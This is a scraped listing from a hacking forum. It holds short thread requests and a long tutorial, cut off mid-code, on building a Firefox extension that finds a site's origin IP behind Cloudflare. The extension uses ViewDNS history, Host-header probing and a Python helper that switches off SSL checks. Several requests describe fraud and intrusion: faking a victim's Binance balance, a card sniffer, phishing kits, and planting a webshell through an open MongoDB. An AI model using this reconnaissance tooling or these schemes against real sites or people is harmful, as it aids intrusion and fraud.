Last Post: 2023-08-18T14:47:52+0000
Author: Danton
Replies: 3 Views: 637

Добрый день. Нужна прога которая самостоятельно автоматически сможет на сайте в определенном окне подставлять данные, типа подбора промокода

Адаптация кода
ID: 67668b27b4103b69df375cfe
Thread ID: 100370
Created: 2023-10-18T15:12:02+0000
Last Post: 2023-10-28T02:12:49+0000
Author: FunnyMan3399
Replies: 7 Views: 629

Можно ли имея готовый код на php (терминал, платежи) собраный в сайт - завернуть в запросах и закатать в бота тг на питоне?

Is there a way to inject javascript code into a website and make changes to it without using extensions like tamperedmonkey?
ID: 67668b27b4103b69df375d10
Thread ID: 90619
Created: 2023-06-15T18:16:56+0000
Last Post: 2023-07-04T13:30:24+0000
Author: MeduzaXK
Replies: 4 Views: 629

Hello, I'm trying to inject a script into the victim's binance account where the amount of money he has in his balance will be changed and no matter if he updates the fake amount, it will still be there even if he logs out, i did it using tamperedmoneky but the victim knows about this trick, can you suggest me another way to do it without using extensions?

Есть у кого ТЗ под написание сниффера?
ID: 67668b27b4103b69df375cef
Thread ID: 105468
Created: 2024-01-10T12:51:44+0000
Last Post: 2024-01-13T13:18:41+0000
Author: Tigerbeat
Replies: 3 Views: 617

Хочу запилить свой сниффер, кусок уже сделал, но не знаю все ли учитываю что необходимо.
Если может кто поделиться буду благодарен (три лайка), или подсказать где найти.

Ищу скрипты досок по EU / USA
ID: 67668b27b4103b69df375d2e
Thread ID: 78819
Created: 2022-12-26T19:35:25+0000
Last Post: 2023-02-25T13:06:57+0000
Author: AUTOR1TET
Replies: 3 Views: 608

Интересуют слитые скрипты, для обучения писать подобные. Желательно с отстуком в TG

Make VS Code Awesome
ID: 67668b27b4103b69df375d53
Thread ID: 60667
Created: 2021-12-29T16:41:09+0000
Last Post: 2022-05-19T21:27:58+0000
Author: NMY
Replies: 4 Views: 591

Хотел спросить может у кого есть пдф? makevscodeawesome.com

Upload shell to MongoDB
ID: 67668b27b4103b69df375d26
Thread ID: 80791
Created: 2023-01-28T14:35:45+0000
Last Post: 2023-03-29T09:11:58+0000
Author: X-Particle
Replies: 3 Views: 580

Is it more difficult to upload shell to MongoDB?

I've found a vulnerability on a subdomain but i don't know how to upload a shell.

Found on 1 empty subdomain MongoBD database with "MongoDB unauthorized" i.e. from the outside we can login to it without authorization (they apparently forgot to turn off this option)! The database is empty (because the subdomain itself is empty), but the database user has root rights there, it is possible to create/delete/add data, etc. We can upload a webshell through the database and go to the main domain there. This is a serious step to get into their system.

Сложнее ли загрузить оболочку в MongoDB?

Я нашел уязвимость в поддомене, но не знаю, как загрузить оболочку.

Нашел на 1 поддомене пустую базу данных MongoBD с "MongoDB неавторизованной" т.е. извне мы можем войти в нее без авторизации (видимо забыли отключить эту опцию)! База пустая (потому что сам поддомен пустой), но пользователь базы имеет там рут права, есть возможность создавать/удалять/добавлять данные и т.д. Можем через базу загрузить вебшелл и зайти на основной домен там . Это серьезный шаг, чтобы попасть в их систему.

JS: Пишем хакерское расширение для браузера. Часть 2
ID: 67668b27b4103b69df375ca8
Thread ID: 127996
Created: 2024-12-01T12:19:27+0000
Last Post: 2024-12-01T12:19:27+0000
Author: petrinh1988
Prefix: Статья
Replies: 0 Views: 578

Автор petrinh1988
Источник https://xss.is

Это не статья. Это уже книга какая-то. Чтобы не растягивать материал на кучу статей, было принято решение дать максимум в одной. Осилить за раз, вряд ли получится. Но пройдя весь материал, у вас будет достаточно навыков и знаний, чтобы написать 99% расширений под свои задачи или на заказ. Конечно же, статья сделана с уклоном в тематику пентеста. Рассмотрено большое количество разных нюансов разработки.

В первой части мы закончили на сборе информации с сервисов. Если точнее, то просто открывали несколько вкладок и парсили одну из них. Предлагаю доработать то решение, дав расширению полезную функцию. Добавим возможность автоматического поиска IP-адреса скрытого за CloudFlare или другим сервисом.

c0d3x, написал очень серьезную инструкцию, в которой довольно подробно рассказал метод найти реальный IP сервера. В расширении будем использовать сильно урезанную версию. На уровне расширения предполагается простая и быстрая проверка, а дальше пользователь по желанию может углубляться. Важно понимать ограничения и разумно использовать ресурсы. Например, если из расширения запустить masscan, мы потеряем полезность в виде быстроты. Masscan, или другое ПО, может часами проводить проверку. Расширение же, предполагает максимально быстрый чек. Даже проверка десятка IP-адресов займет серьезное время. Поэтому, воспринимайте расширение не как конечный продукт, а как демонстрацию тех или иных технологий и решений. Тем более, в статье будет показано много подходов, в том числе которые зашли в тупик. Понимание ограничений, а также способов их обходить, на мой взгляд, крайне важно. А “обделался” я несколько раз и очень знатно. Если бы изначально знал, сколько времени, сил и нервов уйдет на реализацию идеи с поиском IP, не знаю взялся ли бы за её реализацию.

Расширение будет собирать возможные IP из истории ViewDNS, после чего проверять ответы серверов с подменой заголовка Host. Вот с какими подходами познакомлю вас в статье:

  1. Перехват и подмена заголовок через события webRequest
  2. Использование Webpack при разработке расширений для использования NPM-библиотек в своих расширениях
  3. Запуск приложений в операционной системе через механизм NativeMessages

Закончив с этим расширением, перейдем к расширению для поиска уязвимостей. В прошлой статье обещал показать, как выполнять активное сканирование расширением. Оговорюсь, что не собираюсь соперничать с существующими сканерами. Все же их пишут уже много лет и группами программистов, поэтому было бы сумасбродством говорить о написании полноценной альтернативы. Опять же, полноценный сканер посадит браузер на песочные часы.

Продемонстрирую пример того, как искать Server-Side Template Injection и XSS. Будем подгружать пэйлоады из файлов, делать запросы несколькими способами и чекать результат.

Лабы​

Для демонстрации сканеров будут использоваться лабы PortSwigger. Да, неоднократно видел мнение, что все хотят реальные рабочие таргеты в статьях. Но скажите как? Вот преимущества использования лабы для статьи:

  1. Это не нарушает никаких законов, лабы созданы для тренировки навыков поиска уязвимостей. Ни я, не читатель ничего не нарушает работая с лабами.
  2. Лаба стабильная. Реальный таргет отработает первые полторы попытки и помрет, либо админы починят…По-копайте тему “Интересные уязвимости”, большая часть таргетов не актуальна.
  3. Лаборатория предсказуема. В реальной жизни каждый таргет будет иметь свои особенности и охватить все статьей не выйдет. В реальной жизни инструменты постоянно требуют доработки, актуализации и, как ни крути, ручного вмешательства в процесс.

Важные нюансы​

Прежде, чем перейти к разработке новых расширений, хочу дополнить предыдущую статью. Я упустил некоторые важные моменты, которые могут уничтожить нервную систему, по неопытности. Ну и в этой статье информация тоже будет использоваться.

Так как у нас нет контентных скриптов, нет запроса прав на получение доступа к хостам. Нет запроса, нет прав. Ошибки это не вызовет, расширение будет спокойно работать, но… запросы webRequests расширением обрабатываться не будут. Никакой информации получить не удастся. Чтобы все заработало, нужно прописать соответствующий параметр в файл манифеста:

JavaScript:Copy to clipboard

    "host_permissions": [
        "<all_urls>"
    ],

После перезагружаем расширение в браузере и переходим по адресу about:addons. Находим наше расширение и идем в настройки. Кликаем по вкладке “Permissions” (Разрешения) и подтверждаем, что расширение может обрабатывать все запросы.

1733051884976.png

Либо, прописываем конкретные урлы, что было бы правильнее если бы мы распространяли свое расширение, тем более через магазин расширений:

JavaScript:Copy to clipboard

    "host_permissions": [
        "https://viewdns.info/iphistory/*"
    ],

Соответственно, вкладка с расширениями будет иметь следующий вид:

1733051869830.png

Invalid Request ID​

С такой интересной ошибкой можно столкнуться при работе с webRequest. И она может выпить очень много вашей крови. Поэтому и решил привести этот пример.

Вообще, в целом, чтобы узнать об ошибке, уже понадобиться приложить усилия. Вы просто можете заметить, что расширение игнорирует обработку ответа. Фильтр потока даже не обрабатывает событие ondata. В этом случае, самое время искать ошибку. Чтобы её отследить, повесьте на filterResponseData подобный обработчик события “onerror”:

JavaScript:Copy to clipboard

    filter.onerror = (event) => {
        let str = decoder.decode(event.data, {stream: true});
        console.log('Error', str)
        console.log(event)
        console.log(data.join(""))
        console.log(`Error: ${filter.error}`);
    }

И откройте инспектор расширений на странице about:debugging#/runtime/this- firefox:

1733051857222.png

Посе, в консоли инспектора расширения можно будет увидеть примерно такую картинку:

1733051847496.png

Наш фильтр выдает, что идентификатор запроса ошибочный. Почему? В 99% случаев проблема в асинхронности. Запрос завершился на момент создания фильтра. Обработчик пытается найти запрос, но его уже нет. В 1% случаев, вы забыли про права доступа либо используете для фильтрации неверный шаблон урла.

Чтобы понять причину, нужно разобраться в том, как устроена работа движка JavaScript в FF. Дело в том, что для работы фоновых скриптов используется фоновая страница, которая фактически выглядит следующим образом:

1733051837705.png

Специально сделал скриншот рядом с манифестом, чтобы показать как перечисленные скрипты добавляются на страницу. Да, фактически, для каждого расширения, имеющего фоновые скрипты, браузер создает отдельную фоновую страницу и хранит её в памяти. Соответственно, код выполняется не в каком-то эфемерном пространстве памяти, а на этой самой странице. Кстати, именно по этой причине, фоновые скрипты можно заменить на “page” и дать браузеру свою готовую страничку.

В результате мы понимаем, что фоновые скрипты обрабатываются тем же движком, как на любой открытой странице любого сайта. Соответственно, нужно внимательно отслеживать, что именно происходит в вашем коде и как вы работаете с асинхронностью. Про асинхронность JS есть огромная куча материалов и пытаться переобъяснить в 101й раз не вижу смысла.

Если возникла ошибка, внимательно следите за порядком выполнения. Хотя бы, элементарно пронумеровав каждый шаг в консоль-логах. Общие же рекомендации такие:

  1. Навешивайте события обработки до того, как начнутся хоть какие-то действия с запросами
  2. Убедитесь в правильности шаблона отслеживания, по возможности вместо шаблонов цепляйте события к вкладкам
  3. Проверяйте что пытаетесь работать с правильным типом запросов. Например, xmlhttprequest, вместо main_frame если пытаетесь перехватить какой-нибудь fetch у React-приложения.

Расширение определяющее реальный IP​

Расширение будет запускаться по нажатию кнопки в popup-окошке. Далее логика такая:

  1. Открыли вкладку с историей DNS
  2. Если сервис просит каптчу, то ждем когда пользователь её решит
  3. Парсим айпишники со страниц сервисов, добавляем IP в очередь на парсинг
  4. Выполняем запрос по IP с указанием хоста
  5. Закрываем вкладки, чтобы не мешались

Как вы понимаете, есть множество вариантов обработать информацию на странице. Можно перехватывать запросы, как делали это в прошлой статье. Другой вариант, это инъекция javascript-кода или файла. Я же пойду путем подключения

Буду использовать Следующую схему:

Мы можем столкнуться с ситуацией, когда CloudFlare заподозрит в нас бота и потребует отгадать каптчу. В этом случае, нужно передать управление пользователю. Но как указать, с какой вкладкой мы имеем дело? Для этого вспомним, что при передаче сообщения через sendMessage в функцию обработчик передается не одна, а три переменных: сообщение, отправитель и колл-бэк для обратного вызова. Обычно их называют по типу: data, sender, sendResponse. Распечатаю sender:

1733051826398.png

Собственно, есть довольно подробная информация о контексте вызова, но главное — есть данные о вкладке. Это означает, что мы можем вызывать update() для вкладки. Именно через update() мы можем переключить вкладку. Все достаточно тривиально:

JavaScript:Copy to clipboard

if (data.action == ACTONS.needCaptcha) {
        console.log(data, sender)
        browser.tabs.update(sender.tab.id, { active: true })
    }

Указал какую вкладку надо изменить и само изменение, в виде активации вкладки. Но насколько это правильно? Я думаю, что гораздо корректнее подсветить вкладку. Для этого просто меняем “active” на false и добавляем “highlighted”

JavaScript:Copy to clipboard

browser.tabs.update(sender.tab.id, { highlighted: true, active: false })

Выглядит забавно, но функцию свою выполняет:

1733051810104.png

Теперь нужно что-то придумать, чтобы перехватывать момент вывод IP-адресов. Можно использовать MutationOvserver, чтобы стабильно следить за изменениями на странице. Как это сделать, я описывал в статье про Acunetix Helper. Можно прикрутить банальный цикл, который будет искать таблицу на странице, делая паузу между попытками.

Мы же пойдем другим путем, будем отслеживать обновления созданных нами вкладок. Не факт, что в данном случае это лучшее решение, просто чтобы продемонстрировать как это делается и закрыть еще один вопрос в разработке расширений.

JavaScript:Copy to clipboard

browser.tabs.onUpdated.addListener(
    listener, // function
    filter     // optional object
)

Вместо listener у нас функция, которая будет принимать: идентификатор вкладки, объект описывающий изменения и объект нового состояния вкладки. Фильтры позволяют тонко настроить на что надо реагировать. В нашем случае, это будет объект содержащий tabId и массив properties, содержащий значение “status”. Для примера распечатал все обновления вкладки после того, как пройдена каптча на viewdns:

1733051797515.png

Работать будет со статусом “complete”. Как только на созданной нами вкладке он произошел, отправляем в контентные скрипты запрос на парсинг. Схематично, взаимодействие будет выглядеть так:

1733051786055.png

Обратите внимание, что получив айпишники мы закрываем вкладку. Это нужно, чтобы у нас впустую не маслал обработчик обновлений вкладки. Нет, можно заморочиться и каждый раз создавать экземпляр функции-обработчика события, каждый раз привязывая отдельную функцию к новой созданной расширением вкладки, а потом удалять слушатель…. но как-то это слишком заморочено. Мы не космический корабль строим, а решаем вполне понятную задачу самыми простыми способами.

Хватит теории, будем кодить. Начнем с манифеста:

JavaScript:Copy to clipboard

{
    "manifest_version": 3,
    "name": "Get Real IP | XSS.is",
    "description": "Extension for passive scanning of web applications. Developed specifically for the article on the XSS.is website",
    "version": "0.0.1",
    "icons": {
        "48": "images/logo.png",
        "96": "images/logo.png"
    },
    "background": {
        "scripts": ["global.js", "background.js"]
    },
    "action": {
        "default_icon": "images/logo.png",
        "default_title": "Get Real IP | XSS.is",
        "default_popup": "popup/popup.html"
    },
    "content_scripts": [
        {
            "matches": ["https://viewdns.info/*"],
            "js": ["global.js", "content_dns.js"],
            "run_at": "document_end"
        }
    ],
    "host_permissions": [
        "<all_urls>"
    ],
    "permissions": [
        "tabs",
        "activeTab",
        "storage",
        "unlimitedStorage"
    ]
}

Если вы читали все мои статьи про расширения, ничего нового в манифесте нет. Вопрос может возникнуть только в отношении хостов. Зачем нам доступ ко всем адресам? Дело в том, что при тестировании найденных айпишников, нам потребуется делать гет-запросы по типу https://8.8.8.8 с установкой заголовка “Host”. Если мы не пропишем разрешение, то получим ошибку CORS.

Перейдем к контентному скрипту content_dns.js. Сначала объявлю две константы, которые указывают на запрос каптчи:

JavaScript:Copy to clipboard

const checkNeedCaptcha = 'viewdns.info needs to review the security of your connection before proceeding.'
const checkNeedCaptcha2 = 'Verifying you are human. This may take a few seconds.'

Как и писал выше, если находим эти надписи, подсвечиваем вкладку. Но обернем все в функцию, которую будем вызывать через sendMessage из фона:

JavaScript:Copy to clipboard

function checkAndParse() {
    if (document.body.innerText.includes(checkNeedCaptcha) || document.body.innerText.includes(checkNeedCaptcha2)) {
        browser.runtime.sendMessage({
            action: ACTONS.needCaptcha
        })

        return
    }

    let ips = Array.from(document.body.innerHTML.matchAll(/<td>(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td><td>.*?<\/td><td>(.*?)<\/td>/g))
                    .filter(item => !item[2].toLowerCase().includes('cloudflare')).map(el => el[1])
   
    const domain = window.location.search.replace('?domain=', '')

    browser.runtime.sendMessage({
        action: ACTONS.saveIPs,
        domain,
        ips
    })
}

Можно было бы просто собрать айпишники при помощи регулярного выражения, но предпочитаю отфильтровать сервера cloudflare. Соответственно, можно усложнить функцию, сделав список для фильтрации

JavaScript:Copy to clipboard

    const badProviders = ['cloudflare']
    let ips = Array.from(document.body.innerHTML
                    .matchAll(/<td>(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td><td>.*?<\/td><td>(.*?)<\/td>/g))
                    .filter(item => !badProviders.filter(provider => item[2].toLowerCase().includes(provider)).length).map(el => el[1])

Завершает нашу основную контентную функцию передача найденных айпишников в фон через sendMessage. Чтобы дописать контентный скрипт, нужно добавить вызов нашей основной функции. Как и договаривались, вызываем через sendMessage из фона:

JavaScript:Copy to clipboard

browser.runtime.onMessage.addListener((request) => {
    console.log(request);
    checkAndParse()
});

Пока забудем про контентный скрипт и займемся popup, он ведь будет у нас пусковой точкой:

HTML:Copy to clipboard

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="../bootstrap/bootstrap.min.css">
    <title>Document</title>
    <style>
        body {
            width: 400px;
            height: 400px;
        }

        #start, #process {
            height: 100vh;
        }

    </style>
</head>
<body>
    <div class="container justify-content-center align-items-center">
        <div id="start" class="row justify-content-center align-items-center">
            <div class="col-sm text-center">
                <button id="start-check" class="btn btn-primary">Get domain real IP</button>
            </div>
        </div>
        <div id="process" class="row justify-content-center align-items-center text-center" style="display: none;">
            <img src="../images/processing.gif" style="width: 256px;height: 256px;">
        </div>
        <div id="info" style="display: none;">

        </div>
    </div>
    <script src="../global.js"></script>
    <script src="popup.js"></script>
</body>
</html>

JavaScript:Copy to clipboard

document.querySelector('#start-check').addEventListener('click', event => {
    event.preventDefault();
    document.querySelector('#start').style.display = 'none'
    document.querySelector('#process').style.display = 'block'
    console.log('popup function', ACTONS.startParsingIP)
    let response = browser.runtime.sendMessage({
        action: ACTONS.startParsingIP
    })    
})

console.log('popup', ACTONS.startParsingIP)

Все достаточно прозаично, разве что пора уже привести код из global.js, в котором у нас перечислены все константы действий:

JavaScript:Copy to clipboard

const ACTONS = {
    startParsingIP: 'startParsingIP',
    needCaptcha: 'neetCaptcha',
    saveIPs: 'saveIPs',
}

Переходим к сладкому, фоновому скрипту. Начнем с объявления важных сервисных функций:

JavaScript:Copy to clipboard

let currentURL, currentUrlObj
let createdTabs = []

async function readLocalStorage(key){
    return new Promise((resolve, reject) => {
      browser.storage.local.get([key], function (result) {
        if (result[key] === undefined) {
          reject();
        } else {
          resolve(result[key]);
        }
      });
    });
};

async function getCurrentURL(activeInfo) {
    let activeTab = await browser.tabs.query({active:true, currentWindow: true})
    currentURL = activeTab[0].url
    currentUrlObj = new URL(currentURL)
    return currentURL
}

function getDomain() {
    return currentUrlObj.hostname.split('.').slice(-2).join('.')
}

.

Нам в любом случае потребуется чтение/запись в хранилище, а также фиксация домена активной вкладки. Следующим шагом вешаем событие на выбор вкладки и получение сообщения из других частей расширения:

JavaScript:Copy to clipboard

browser.tabs.onActivated.addListener(getCurrentURL)
browser.runtime.onMessage.addListener(onMessageHandler)

Сердце скрипта — обработчик сообщений:

JavaScript:Copy to clipboard

async function onMessageHandler(data, sender) {
    console.log('background event:', ACTONS.startParsingIP)
    if (data.action == ACTONS.startParsingIP) {
        let domain = getDomain()
   
        await openAndparseViewDNS(domain)
    } else if (data.action == ACTONS.needCaptcha) {
        console.log(data, sender)
        browser.tabs.update(sender.tab.id, { highlighted: true, active: false })
    } else if (data.action == ACTONS.saveIPs) {
        console.log(sender.tab.id, data.domain, data.ips, data.ips.length)

        if (data.domain && data.ips && data.ips.length)
        {
            console.log('Save data & send')
            browser.storage.local.set({realIp:{[data.domain]:{foundedIPs: data.ips, step: 1}}})
            browser.tabs.remove(sender.tab.id)
            console.log('Start check')
            await checkIPAddressess(data.domain, data.ips)
        }
    }
    return false
}

Если мы только запускаем скрипт, нужно открыть историю DNS для текущего домена вкладки. При открытии, подгрузится контентный скрипт привязанный в манифесте к https://viewdns.info/*. Функция openAndParseViewDNS не только создаст вкладку, но и привяжет к ней обработчик onUpdate:

JavaScript:Copy to clipboard

async function openAndparseViewDNS(domain) {    

    const url = `https://viewdns.info/iphistory/?domain=${domain}`
    let tabInfo = await browser.tabs.create({
        active: false,
        url
    })

    createdTabs.push(tabInfo.id)
    browser.tabs.onUpdated.addListener(
        onChangeTabHandler,
        {
            tabId: tabInfo.id,
            properties: ["status"]
        }
    )
}

Фишка челленджа каптчи от CloudFlare в том, что он периодически обновляет страницу. В результате, при каждом обновлении будет вызываться onChangeTabHandler, которая просто передаст управление в контентный скрипт.

JavaScript:Copy to clipboard

function onChangeTabHandler(tabId, changeInfo, newTabState) {
    if (!changeInfo.status || changeInfo.status != "complete") return

    browser.tabs.sendMessage(tabId, {
        action: ACTONS.parseIPs
    })
}

Вспоминаем второй вариант действия в фоновом скрипте

JavaScript:Copy to clipboard

else if (data.action == ACTONS.needCaptcha) {
        console.log(data, sender)
        browser.tabs.update(sender.tab.id, { highlighted: true, active: false })
    }

Если наш примитивный анализитор видит необходимость гадать каптчу, он вызовет именно это действие. Как итог, вкладка будет подсвечена. Осталось разобрать третий вариант сообщения, когда контентный скрипт получил таки айпишники:

JavaScript:Copy to clipboard

else if (data.action == ACTONS.saveIPs) {
        if (data.domain && data.ips && data.ips.length)
        {
            browser.storage.local.set({realIp:{[data.domain]:{foundedIPs: data.ips, step: 1}}})
            browser.tabs.remove(sender.tab.id)
            await checkIPAddressess(data.domain, data.ips)
        }
    }

Здесь мы убеждаемся, что айпишники получены, сохраняем данные и запускаем проверку полученных айпишников:

JavaScript:Copy to clipboard

async function checkIPAddressess(hostName, ips) {
    console.log('Start checking domain:', domain)
    protocols = ['http', 'https']
    for(let ip of ips) {
        console.log(ip)
        for(let protocol in protocols) {
            if (await checkIP(protocol, ip, hostName)) {
                console.log('Success', protocol, ip, hostName)
            }
        }        
    }
}

async function checkIP(protocol, ip, hostName) {
    try{
        let responseHTTP = await fetch(`${protocol}://${ip}`, {
            headers: {
                'Host': hostName
            },
            signal: AbortSignal.timeout(5000)
        })

        if ([200, 301, 302].includes(responseHTTP.status))
            return true
        return false

    } catch(e) {
        console.log(e)
        return false
    }
}

Выглядит все неплохо. Если бы не но… Помните, что писал будто неплохо “обделался”? Это тот самый момент. С http проблем не возникнет, а с https очень даже возникнут.

В Firefox этот подход не будет работать. Все дело в заботе о безопасности пользователя. Мы пытаемся обратиться по IP-адресу с подменой хоста, в то время когда SSL-сертификат выписан на конкретный домен или поддомен. Если открыть вкладку с подобным несоответствием, мы увидим такую картинку:

1733051760648.png
И эта защита работает на любом уровне при любом запросе. Fetch-запрос, открытие вкладки, открытие вкладки с подменой заголовков — в любом случае защита работает. Но самая беда в том, что эту защиту не отключить. Нет, если вы знаете какой-то из способов, обязательно напишите. Я перерыл весь Google, но ни один способ не прокатил. Даже надежда на настройку групповых политик, через файл policy.json, оказалась пустой. Хотя, через групповые политики можно дофига чего настроить. Вплоть до предустановки каких-то расширений. Советую перейти на гитхаб и посмотреть возможные настройки.

Поэтому я начал искать варианты, как с этим работать. Целую неделю убил, пробуя разные подходы. Основная проблема с fetch в том, что он не просто коряво работал, но и не давал вообще никакой информации. Поэтому, одним из первых вариантов было использовать что-то более информативное и интересное, в виде axios. Пришлось перестроить расширение, чтобы оно собиралось при помощи Webpack. Таким образом можно прикручивать к расширению любые NPM-пакеты. Единственное, что я не учел, это контекст браузера. Чтобы там не хотелось мне, расширение работает в контексте браузера и никакие приблуды не способны этот контекст обойти.

Следующим гениальным вариантом была автоматизация действий в браузере. Мысль была такая: при открытии небезопасной странички мы попадаем сюда
1733051746358.png

А что если открывать странички в браузере и произвести инъекцию кода, который найдет “advancedButton” и кликнет по ней? А еще лучше, кликнет сразу по “exceptionDialogButton”. Протестировав вариант в консоли и получив положительный результат, ринулся в бой… Знаете о чем забыл? О том, что это сервисная страничка Firefox. И хрен что получится запихнуть на эту страничку. Ни через scripting, не через content_scripts.

Варианты выше отпали. Но, на мой взгляд, сами по себе подходы крайне важны в понимании разработки расширений и их есть смысл рассмотреть. Например, прикручивание пакетов через Webpack. Возможности при разработке расширений возрастают кратно. Можно React прикрутить, можно обфусцировать код, можно графики красивые добавить и т.д. и т.п. В итоге, чтобы не отвлекать от статьи, но сохранить инфу, раскидал важные моменты по другим частям статьи и добавил небольшую врезку по попытке обмануть браузер.

В конце своих поисков, выделил три более-менее варианта, которые могут заставить работать расширение:

  1. Перекроить расширение под Chrome, там есть вариант избежать проблем с проверками запустив хром с параметром “--ignore-certificate-errors”.
  2. Использовать сторонний инструмент для запросов. Обещал показать, как запускать приложения в рамках ОС, пришло время продемонстрировать.
  3. Решение “на отъ*бись”. Переложить на пользователя принятие риска с дальнейшим парсингом ответа. Открыли вкладку, дождались когда пользователь нажмет согласие и обрабатываем результат.

Последнее решение мы уже делали, заставляя юзера гадать каптчу, поэтому останавливаться на нем не буду. Про то, как адаптировать расширение под хром, есть куча статей. Даже на самом MDN есть достаточно подробное описание. Сделаю вариант с запуском стороннего приложения, так как это интересно и потенциально дает невероятные возможности в создании сложных расширений,

Запуск сторонних приложений​

На всякий случай уточню терминологию. Расширением я буду называть расширение для браузера и ничто другое. Приложением, то приложение, которое будет запускаться в рамках операционной системы. В нашем случае, это будет Python- скрипт.

Нам может подойти несколько вариантов взаимодействия между расширением и приложением:

  1. Прямой обмен сообщениями
  2. Использование специального (managed) хранилища.

При использовании хранилища, важно понимать, что managed не может быть переписан расширением. Писать туда может только приложение, расширение может только читать. В этом варианте есть свои плюсы, так как мы не особо зависим от времени выполнения. Просто при открытии popup выводим содержимое managed- хранилища, если его нет, предлагаем пользователю инициировать процесс поиска IP. Но есть и свои заморочки, с организацией процесса работы с состояниями и прочей мелочью. Я продемонстрирую вариант работы с прямым обменом сообщениями, а про хранилище можно почитать подробнее [здесь](https://developer.mozilla.org/en-US/docs/Mozilla/Add- ons/WebExtensions/Native_manifests#manifest_location).

Для этого потребуется механизм называемый нативными сообщениями. Соответственно, внесем изменения в манифест:

JavaScript:Copy to clipboard

    "permissions": [
  ...,
        "nativeMessaging"
    ],
    "browser_specific_settings": {
        "gecko": {
            "id": "get_real_ip@example.org",
            "strict_min_version": "64.0"
        }
    }

Во-первых, получаем доступ к объекту апи “nativeMessaging”. Это даст нам возможность создать порт для двустороннего взаимодействия между расширением и приложением. Во-вторых, назначим временный идентификатор расширения, чтобы можно было добавить разрешение на передачу сообщений от расширения приложению.

Следующим шагом надо создать JSON-файл, в котором мы опишем конфигурацию чтобы Firefox понимал как взаимодействовать с приложением:

JavaScript:Copy to clipboard

{
  "name": "real_ip",
  "description": "Example host for native messaging",
  "path": "C:\\get_real_ip_curl\\app\\app.bat",
  "type": "stdio",
  "allowed_extensions": ["get_real_ip@example.org"]
}

Обращаю внимание на то, что в Windows не получится просто запустить Python- файл. Нам потребуется создать bat-файл, который запустит скрипт python. В Linux и MacOS можно напрямую обращаться к py. Батник будет выглядеть примерно так:

Code:Copy to clipboard

@echo off

call python C:\get_real_ip_curl\app\get_real_ip.py

Обращаю внимание, если не отключить вывод, браузер выдаст ошибку в консоли расширения. Ошибку связанную с длинной сообщения в байтах:

Native Messaging host tried sending a message that is 977472013 bytes long.

Далее надо как-то сообщить Firefox о нашем JSON-конфиге. Для этого регистрируем наше приложение. В Windows это делается через реестр. Создаем новый ключ здесь:

Code:Copy to clipboard

HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\NativeMessagingHosts\<name>

В параметре по-умолчанию прописываем путь к нашему файлу. Можно создать reg- файл с подбным содержимым:

Code:Copy to clipboard

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\NativeMessagingHosts\real_ip]
@="C:\\get_real_ip_curl\\app\\app.json"

Соответственно, путь поменяйте на свой и запустите файл. Не хотите регистрировать приложение для всех пользователей, замените “HKEY_LOCAL_MACHINE” на “HKEY_CURRENT_USER” и будет счастье.

В MacOS и Linux, все немного проще. Там достаточно поместить наш JSON-конфиг в папку мазилы. В MacOS путь такой:

Code:Copy to clipboard

/Library/Application Support/Mozilla/NativeMessagingHosts/<name>.json

В Linux:

Code:Copy to clipboard

~/Library/Application Support/Mozilla/NativeMessagingHosts/<name>.json

Вместо называем наш файл так, как FF будет искать его для передачи сообщения. В нашем случае, можно использовать “real_ip”. По крайней мере, везде прописал именно так.

Code:Copy to clipboard

Error: No such native application real_ip

Если вы увидите эту ошибку, значит забыли зарегистрировать приложение или не перезапустили Firefox.

Получение и отправка запросов в Python​

Займемся скриптом. Из коефига приложения понятно, что взаимодействие будет происходить через потоки stdin/stdout. Не вдаваясь в подробности, читаем буфер, разбираем структуру и приводим полученные данные к dict (JSON):

Python:Copy to clipboard

import sys
import json
import struct

def getMessage():
    rawLength = sys.stdin.buffer.read(4)
    if len(rawLength) == 0:
        sys.exit(0)
    messageLength = struct.unpack('@I', rawLength)[0]
    message = sys.stdin.buffer.read(messageLength).decode('utf-8')
    return json.loads(message)

def encodeMessage(messageContent):
    encodedContent = json.dumps(messageContent, separators=(',', ':')).encode('utf-8')
    encodedLength = struct.pack('@I', len(encodedContent))
    return {'length': encodedLength, 'content': encodedContent}

def sendMessage(encodedMessage):
    sys.stdout.buffer.write(encodedMessage['length'])
    sys.stdout.buffer.write(encodedMessage['content'])
    sys.stdout.buffer.flush()

while True:
    receivedMessage = getMessage()

Обратите внимание, что скрипт не завершает своей работы. Он будет ожидать сообщение все время, пока работает наше расширение. Пока его не выгрузят из браузера или не закроют браузер.

Функция encodeMessage нужна для подготовки сообщения к отправке. Готовое сообщение можно отправить следующим образом:

Python:Copy to clipboard

sendMessage(encodeMessage({'hostName':jsonData['hostName'], 'ip': ip, 'success': False}))

Для теста можно запустить скрипт, который просто пройдет по всем полученным адресам и вернет готовые объекты:

Python:Copy to clipboard

while True:
    receivedMessage = getMessage()
    sendMessage(encodeMessage('Hello'))
    try:
        jsonData = json.loads(receivedMessage)
        if jsonData['hostName']:
            for ip in jsonData['ips']:
                sendMessage(encodeMessage({'hostName':jsonData['hostName'], 'ip': ip, 'success': False}))
    except:
        sendMessage(encodeMessage({"error": "Unknown error"}))

Результат работы будет выглядеть следующим образом:

1733051719145.png

Осталось написать функционал, который будет выполнять сам запрос к серверу и, в целом, Python-скрипт будет готов. В целом, нам нужен простой requests.get(). Единственное, что добавим кусок кода, который избавит нас от ошибок и предупреждений о проблемах с SSL. Код ниже взят с github, но главное что прекрасно работает:

Python:Copy to clipboard

import warnings
import contextlib
import requests
from urllib3.exceptions import InsecureRequestWarning

old_merge_environment_settings = requests.Session.merge_environment_settings

@contextlib.contextmanager
def no_ssl_verification():
    opened_adapters = set()

    def merge_environment_settings(self, url, proxies, stream, verify, cert):
        opened_adapters.add(self.get_adapter(url))

        settings = old_merge_environment_settings(self, url, proxies, stream, verify, cert)
        settings['verify'] = False

        return settings

    requests.Session.merge_environment_settings = merge_environment_settings

    try:
        with warnings.catch_warnings():
            warnings.simplefilter('ignore', InsecureRequestWarning)
            yield
    finally:
        requests.Session.merge_environment_settings = old_merge_environment_settings

        for adapter in opened_adapters:
            try:
                adapter.close()
            except:
                pass

Осталось дописать функцию, которая будет делать запрос:

Python:Copy to clipboard

def checkIp(ip, hostName):
    try:
        with no_ssl_verification():
            headers = {
